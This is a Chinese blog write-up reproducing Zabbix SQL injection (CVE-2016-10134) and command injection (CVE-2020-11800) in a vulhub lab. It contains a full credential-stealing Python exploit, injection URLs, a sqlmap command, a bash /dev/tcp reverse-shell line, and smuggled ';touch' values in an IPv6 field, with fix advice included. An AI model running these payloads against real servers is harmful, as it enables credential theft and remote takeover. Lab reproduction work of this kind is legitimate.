<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    基于Zabbix的漏洞復現

    VSole2022-06-21 14:45:36

    STATEMENT

    聲明

    由于傳播、利用此文所提供的信息而造成的任何直接或者間接的后果及損失,均由使用者本人負責,雷神眾測及文章作者不為此承擔任何責任。

    雷神眾測擁有對此文章的修改和解釋權。如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明等全部內容。未經雷神眾測允許,不得任意修改或者增減此文章內容,不得以任何方式將其用于商業目的。

    zabbix-latest.php-SQL注入漏洞(CVE-2016-10134)

    漏洞描述

    Zabbix 的latest.php中的toggle_ids[]或jsrpc.php中的profieldx2參數存在sql注入,通過sql注入獲取管理員賬戶密碼,或者通過更換sessionid進入后臺,利用后臺的script功能直接獲取zabbix服務器的操作系統權限。

    影響版本

    zabbix 2.2.x,3.0.0-3.0.3

    漏洞復現

    以vulhub作為漏洞環境,IP為192.168.14.128

    latest.php

    (1)靶機系統默認開啟游客賬戶登錄,使用游客賬戶guest,密碼為空格登錄。

    (2)查看cookie中的zbx_sessionid,復制后16位字符

    (3)將復制的16位字符作為sid的值,訪問以下URL即可看到數據庫名稱。toggle_ids[]為注入點。


      http://192.168.14.128:8080/latest.php?output=ajax&sid=c04ca0eeef290c4c&favobj=toggle&toggle_open_state=1&toggle_ids[]=updatexml(0,concat(0x7e,database(),0x7e),0)
    

    jsrpc.php

    (1)訪問以下URL也可以觸發SQL注入。profileIdx2為注入點。


    http://192.168.14.128:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0x7e,database()),0x7e)
    

    sqlmap跑一下


    python3 sqlmap.py -u "http://192.168.14.128:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0x7e,database()),0x7e)" -p profileIdx2
    

    (2)利用以下POC獲取管理員用戶名/密碼和session_id。在python2環境下運行該腳本。也可使用工具獲取賬戶。


    # -*- coding: utf-8 -*-# Date: 2016/8/18
    import urllib2import sys, osimport re
    def deteck_Sql():u'檢查是否存在 SQL 注入'payload = "jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get×tamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=999'&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color=1"try:response = urllib2.urlopen(url + payload, timeout=10).read()except Exception, msg:print msgelse:key_reg = re.compile(r"INSERT\s*INTO\s*profiles")if key_reg.findall(response):return True
    def sql_Inject(sql):u'獲取特定sql語句內容'payload = url + "jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get×tamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=" + urllib2.quote(sql) + "&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids[23297]=23297&action=showlatest&filter=&filter_task=&mark_color=1"try:response = urllib2.urlopen(payload, timeout=10).read()except Exception, msg:print msgelse:result_reg = re.compile(r"Duplicate\s*entry\s*'~(.+?)~1")results = result_reg.findall(response)if results:return results[0]
    if __name__ == '__main__':# os.system(['clear', 'cls'][os.name == 'nt'])print '+' + '-' * 60 + '+'print u'\t Python Zabbix < 3.0.4 SQL 注入 Exploit'print '\t Origin Author: http://www.waitalone.cn/'print '\t\t Modified by: Jamin Zhang'print '\t\t Date: 2016-08-18'print '+' + '-' * 60 + '+'if len(sys.argv) != 2:print u'用法: ' + os.path.basename(sys.argv[0]) + u' [Zabbix Server Web 后臺 URL]'print u'實例: ' + os.path.basename(sys.argv[0]) + ' http://jaminzhang.github.io'sys.exit()url = sys.argv[1]if url[-1] != '/': url += '/'passwd_sql = "(select 1 from(select count(*),concat((select (select (select concat(0x7e,(select concat(name,0x3a,passwd) from users limit 0,1),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)"session_sql = "(select 1 from(select count(*),concat((select (select (select concat(0x7e,(select sessionid from sessions limit 0,1),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)"if deteck_Sql():print u'Zabbix 存在 SQL 注入漏洞!'print u'管理員 用戶名密碼:%s' % sql_Inject(passwd_sql)print u'管理員 Session_id:%s' % sql_Inject(session_sql)else:print u'Zabbix 不存在 SQL 注入漏洞!'
    python2 exploit.py http://192.168.14.128:8080/
    

    根據得到的用戶名密碼登錄,或者通過修改zbx_sessionid登錄后臺。

    getshell

    準備:在靶機的配置文件zabbix_agentd.conf中添加EnableRemoteCommands = 1

    docker ps # 查看agent的容器iddocker exec -it 9344458704f9 /bin/sh # 進入容器vi /etc/zabbix/zabbix_agentd.conf # 添加EnableRemoteCommands = 1docker restart 9344458704f9 # 重啟容器
    

    (1)以管理員身份登錄后臺后,依次點擊Administrator-->scrip-->creatscript

    (2)在commands中寫入反彈shell命令,點擊Add


    bash -i >& /dev/tcp/ip/port 0>&1 # ip和port為攻擊者的ip和開啟的端口
    

    (3)保存創建的script后依次點擊Monitroing-Latest data,選擇Host groups的select,全選。再點擊Filter-->Zabbix server,選擇剛剛創建的shell即可。

    在攻擊機上開啟監聽。但我這里沒彈回來。


    nc -lvp port
    

    (4)雖然沒有彈回shell,但依然存在命令執行。修改原來保存的shell或者再創建一個test,執行后可看到效果。


    cat /etc/passwd
    

    修復建議

    1.更新到最新版本

    2.禁用guest登陸功能

    3.禁用遠程命令

    Zabbix命令執行漏洞(CVE-2020-11800)

    漏洞描述

    Zabbix Server的trapper命令處理,存在命令注入漏洞,可導致遠程代碼執行。需要服務端配置開啟自動注冊,或者Zabbix Proxy(會認證主機名)自動發現。

    影響版本

    Zabbix 3.0.x~3.0.30

    漏洞分析

    該漏洞原理與CVE-2017-2824相同,參考


    https://talosintelligence.com/reports/TALOS-2017-0325
    

    active checks是自動注冊的命令字,自動注冊的本意是agent可主動將主機注冊給server進行監控,在2.2.18版本中可以在IP中注入(參見上文的版本分析處,2.2.19版本才增加了ip校驗)shell命令。CVE-2017-2824提到的漏洞在discovery data命令字即自動發現功能中,由于沒有校驗IP,導致可在IP中寫入shell命令,進而在執行script cmd時達到命令注入。

    比如在IP中寫入內容


    ;touch /tmp/zabbix_pwned
    

    那么執行ping命令時就變為


    /bin/ping -c 3 ;touch /tmp/zabbix_pwned 2>&1
    

    CVE-2017-2824在3.0.x的修復辦法是,對IP進行校驗,但是校驗IP的方法可以被繞過,Ipv4校驗沒問題,ipv6校驗可繞過。

    輸入為ffff:::;touch /tmp/1234pwn即可繞過,進而實現命令注入。

    漏洞復現

    (1)以vulhub作為漏洞環境,IP為192.168.14.128


    docker-compose up -ddocker-compose ps //查看容器是否全部成功啟動,若沒有則重新執行docker-compose up -d,否則會導致復現失敗。如下圖所示則為容器全部啟動成功。
    

    (2)訪問IP:8080。


    弱口令("admin","zabbix"),("Admin","zabbix"),("guest"," ")以管理員身份登錄
    

    (3)進入Configuration->Actions,將Event source調整為Auto registration,然后點擊Create action,創建一個Action,名字隨意。

    第二個標簽頁設置條件,可配置host name、proxy和host metadata包含或不包含某個關鍵字。

    第三個標簽頁,指定操作,可以為發送消息、添加主機等,這里要選擇Add host。

    以上規則的意思就是任意自動注冊的host,沒有任何拒絕規則,都會直接添加到server中。

    (4)執行以下POC腳本,該poc執行的是寫入文件的操作,使用python3執行該poc。


    import sysimport socketimport jsonimport sys
    def send(ip, data):conn = socket.create_connection((ip, 10051), 10)conn.send(json.dumps(data).encode())data = conn.recv(2048)conn.close()return data
    target = sys.argv[1]print(send(target, {"request":"active checks","host":"vulhub","ip":"ffff:::;touch /tmp/success2"}))for i in range(10000, 10500):data = send(target, {"request":"command","scriptid":1,"hostid":str(i)})if data and b'failed' not in data:print('hostid: %d' % i)print(data)
    

    當出現如下結果后說明命令執行成功。

    (5)進入server容器,可看見/tmp/success2已成功創建。


    docker ps //列出容器docker exec -it c8552d7e36ce /bin/bash //進入server容器
    

    修復建議

    建議升級至最新版本

    selectzabbix
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    基于Zabbix的漏洞復現
    2022-06-21 14:45:36
    STATEMENT聲明由于傳播、利用此文所提供的信息而造成的任何直接或者間接的后果及損失,均由使用者本人負責,雷神眾測及文章作者不為此承擔任何責任。雷神眾測擁有對此文章的修改和解釋權。如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明等全部內容。未經雷神眾測允許,不得任意修改或者增減此文章內容,不得以任何方式將其用于商業目的。
    在公司搭建系統級別的監控,由于ELK對流量監控存在局限——現有的工具只記錄了累計的流量,而無法計算每時每刻的流量。所以決定最后用zabbix來對網絡做監控和報警,下面會從零開始記錄zabbix搭建過程中的所有步驟,希望可以給你帶來幫助。 安裝前準備工作 安裝必要的軟件,禁用SELINUX,安裝必備軟件
    信息搜集:開源情報信息收集、創建企業密碼字典進入內網:基于企業弱賬號漏洞、基于系統漏洞進入、網站應用程序滲透隱匿攻擊:Command and Control、代理內網跨邊界應用:內網跨邊界轉發、內網跨邊界代理穿透、shell反彈等
    一個內網安全攻防的知識倉庫
    服務器的相關信息(真實ip,系統類型,版本,開放端口,WAF等) 網站指紋識別(包括,cms,cdn,證書等),dns記錄 whois信息,姓名,備案,郵箱,電話反查(郵箱丟社工庫,社工準備等) 子域名收集,旁站,C段等 google hacking針對化搜索,pdf文件,中間件版本,弱口令掃描等 掃描網站目錄結構,爆后臺,網站banner,測試文件,備份等敏感文件泄漏等 傳輸協議,通用漏洞,ex
    ?上整理的?試問題?全,有些 HW ?試的題,已經收集好了,提供給?家。
    0x00 安裝首先下載這個Cms光從安裝向導就發現了一個敏感的玩意。網站Mysql默認采用 Gbk 編碼,這會造成寬字節注入漏洞。隨后簡單分析了一下這套CMS。看了一下運行流程。
    空格可以由其它字符替代 select id,contents,time from news where news_id=1①union②select③1,2,username④from⑤admin 位置① 可以利用其它控制字符替換空格:%09,%0a,%0b,%0c,%0d,%20,%a0 可以利用注釋符號替換空格:/**/、%23test%0d%0a、 —+a%0d%0a 可以利用數學運算以及
    BypassD盾之SQL注入繞過總結
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类